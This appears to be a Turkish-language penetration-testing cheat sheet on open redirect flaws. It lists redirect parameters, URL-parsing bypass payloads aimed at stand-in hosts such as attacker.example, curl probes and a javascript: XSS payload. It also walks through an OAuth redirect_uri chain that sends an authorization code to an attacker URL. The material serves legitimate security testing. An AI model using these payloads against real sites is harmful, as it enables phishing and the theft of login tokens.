Skip to content

Open Redirect

OWASP A01 difficulty: kolay

Open Redirect, uygulamanın kullanıcı kontrollü bir parametreye göre harici bir adrese yönlendirme yapmasıdır. Tek başına düşük riskli görünse de; kimlik avı, OAuth redirect_uri token hırsızlığı ve filtre atlatma zincirlerinde kritik hale gelir.

/login?next=/dashboard
/redirect?url=https://site.com
/logout?returnTo=...
?dest= ?rurl= ?continue= ?redirect= ?redirect_uri= ?returnUrl= ?goto= ?return=

DOM: location = params.redirect / window.location.href = … / location.replace(…).

https://attacker.example
/attacker.example
/\/attacker.example
\/\/attacker.example
https:attacker.example
https://victim.com@attacker.example
https://victim.com%40attacker.example
https://victim.com.attacker.example
https://attacker.example#victim.com
https://attacker.example?victim.com
https://attacker.example\.victim.com
https://attacker.example%00.victim.com
https://attacker.example%0d%0a
%2f%2fattacker.example
https:/%5Cattacker.example
https://%61ttacker.example
/\attacker.example
# Allow-list path gibi
/?next=//attacker.example
/redirect?url=/\\attacker.example
https://victim.com%2f%2f@attacker.example

Java URL / tarayıcı / reverse proxy farklı parse eder — her katmanı dene.

  1. OAuth / OIDC token sızdırma — redirect_uri gevşek veya uygulama kendi open redirect’ini kaydetmişse:

    /authorize?...&redirect_uri=https://victim.com/redirect?url=https://attacker/
  2. SSRF / WAF allow-list atlatma — “sadece *.victim.com” kuralı, victim open redirect ile attacker’a sıçrar.

  3. Kimlik avı — URL çubuğunda gerçek alan adı; login formu attacker’da.

  4. CRLF — değer Location ’a ham yazılıyorsa CRLF .

  5. XSS — javascript: veya data: (tarayıcıya göre kısıtlı); DOM sink.

location.href = new URLSearchParams(location.search).get('next');
?next=javascript:alert(1)
?next=//attacker.example
?next=https://attacker.example
?next=\\attacker.example
Terminal window
curl -sI 'https://hedef/login?next=https://evil.example' | grep -i location
Terminal window
curl -sI 'https://hedef/logout?returnTo=//evil.example' | grep -i location
<!-- Meta refresh -->
<meta http-equiv="refresh" content="0;url=https://evil.example">
1) Client'ın kayıtlı redirect_uri: https://app.com/cb
2) app.com'da open redirect: /out?u=
3) Authorize:
redirect_uri=https://app.com/out?u=https://attacker/steal
4) IdP code'u attacker'a 302 eder
□ next/return/redirect/url parametreleri
□ // ve @ ve %00 atlatmaları
□ DOM location sink
□ OAuth redirect_uri birleşimi
□ SSRF allow-list bypass olarak kullanım
□ Location CRLF
/login?next= → //evil doğrula
→ OAuth redirect_uri ile birleştir
→ auth code çal